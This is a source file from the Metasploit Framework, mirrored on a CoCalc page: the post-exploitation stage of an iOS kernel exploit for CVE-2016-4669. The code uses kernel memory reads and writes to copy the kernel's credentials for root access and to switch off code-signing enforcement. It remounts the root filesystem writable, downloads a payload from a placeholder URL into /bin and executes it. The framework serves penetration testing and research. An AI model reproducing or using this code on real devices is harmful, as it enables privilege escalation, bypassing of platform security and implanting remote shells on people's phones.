CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4669/shell.m
Views: 11778
1
// [1] https://github.com/kpwn/yalu102/blob/master/yalu102/
2
// [2] http://www.newosxbook.com/articles/CodeSigning.pdf
3
4
#include "macho.h"
5
#include "utils.h"
6
#include "offsets.h"
7
8
#define MNT_ROOTFS 0x00004000
9
#define MNT_RDONLY 0x00000001
10
#define MNT_NOSUID 0x00000008
11
12
#define PAYLOAD_URL_PLACEHOLDER "PAYLOAD_URL_PLACEHOLDER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
13
14
static struct {
15
addr_t amfi_allow_any_signature;
16
addr_t cs_enforcement_disable;
17
addr_t p_rootvnode;
18
addr_t base;
19
} koffsets = {
20
.amfi_allow_any_signature = 0x807c3b30,
21
.cs_enforcement_disable = 0x807c3b38,
22
.p_rootvnode = 0x8038c1b4,
23
.base = 0x80001000
24
};
25
26
27
addr_t get_port_addr(addr_t space, mach_port_t port)
28
{
29
addr_t is_table_size;
30
addr_t is_table;
31
addr_t addr;
32
33
is_table_size = kr32(space + SPACE_is_table_size);
34
is_table = kr32(space + SPACE_is_table);
35
addr = kr32(is_table + (port >> 8)*0x10);
36
37
return addr;
38
}
39
40
addr_t proc_for_pid(addr_t self_proc, int pid)
41
{
42
addr_t next = kr32(self_proc);
43
while (next != self_proc) {
44
int _pid = kr32(next + 8);
45
if (_pid == pid) {
46
return next;
47
}
48
next = kr32(next);
49
}
50
51
return 0;
52
}
53
54
int remount_root_rw(addr_t slide)
55
{
56
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
57
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
58
59
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
60
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~(MNT_ROOTFS | MNT_RDONLY));
61
62
char* nmz = strdup("/dev/disk0s1s1");
63
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
64
if (ret < 0) {
65
LOG("mount failed ret: %d", ret);
66
return -1;
67
}
68
69
LOG("root fs mounted r/w");
70
kw32(v_mount + MOUNT_mnt_flags, mnt_flags & ~MNT_RDONLY);
71
return 0;
72
}
73
74
int remount_root_ro(addr_t slide)
75
{
76
addr_t rootvnode = kr32(koffsets.p_rootvnode + slide);
77
addr_t v_mount = kr32(rootvnode + VNODE_v_mount);
78
79
uint32_t mnt_flags = kr32(v_mount + MOUNT_mnt_flags);
80
mnt_flags |= MNT_RDONLY;
81
mnt_flags &= ~MNT_ROOTFS;
82
83
kw32(v_mount + MOUNT_mnt_flags, mnt_flags);
84
85
char* nmz = strdup("/dev/disk0s1s1");
86
int ret = mount("hfs", "/", MNT_UPDATE, (void*)&nmz);
87
if (ret < 0) {
88
LOG("mount failed ret: %d", ret);
89
return -1;
90
}
91
LOG("root fs mounted ro");
92
93
kw32(v_mount + MOUNT_mnt_flags, mnt_flags | MNT_ROOTFS);
94
return 0;
95
}
96
97
void random_string(char *s, const int len) {
98
static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
99
for (int i = 0; i < len; ++i) {
100
s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
101
}
102
s[len] = 0;
103
}
104
105
void deploy()
106
{
107
char* path = "/bin/random";
108
random_string(path + 5, 6);
109
download(PAYLOAD_URL_PLACEHOLDER, path);
110
111
pid_t pid = 0;
112
char *args[] = {path, NULL};
113
int ret = posix_spawn(&pid, path, 0, 0, args, NULL);
114
if (ret < 0) {
115
LOG("posix_spawn failed: %d", ret);
116
return;
117
}
118
waitpid(pid, 0, 0);
119
LOG("shell deployed");
120
}
121
122
void shell_main(addr_t self_space, addr_t slide)
123
{
124
addr_t self_addr = get_port_addr(self_space, mach_task_self());
125
LOG("self_addr: %lx", self_addr);
126
127
addr_t self_task = kr32(self_addr + IPC_PORT_kobject);
128
LOG("self_task: %lx", self_task);
129
130
addr_t self_proc = kr32(self_task + TASK_bsd_proc);
131
LOG("self_proc: %lx", self_proc);
132
133
addr_t kernel_proc = proc_for_pid(self_proc, 0);
134
LOG("kernel_proc: %lx", kernel_proc);
135
136
// privilege escalation from [1]
137
addr_t self_ucred = kr32(self_proc + PROC_ucred);
138
addr_t kernel_cred = kr32(kernel_proc + PROC_ucred);
139
kw32(self_proc + PROC_ucred, kernel_cred);
140
141
LOG("got root uid: %d, gid: %d", getuid(), getgid());
142
143
// disable code signing by overwriting kernel arguments
144
// as described in [2]
145
//
146
// defeats
147
// outside of container && !i_can_has_debugger
148
kw32(koffsets.amfi_allow_any_signature + slide, 1);
149
kw32(koffsets.cs_enforcement_disable + slide, 1);
150
151
// root file system remount from [1]
152
remount_root_rw(slide);
153
deploy();
154
remount_root_ro(slide);
155
156
// restore credentials
157
kw32(self_proc + PROC_ucred, self_ucred);
158
}
159
160
161
162
163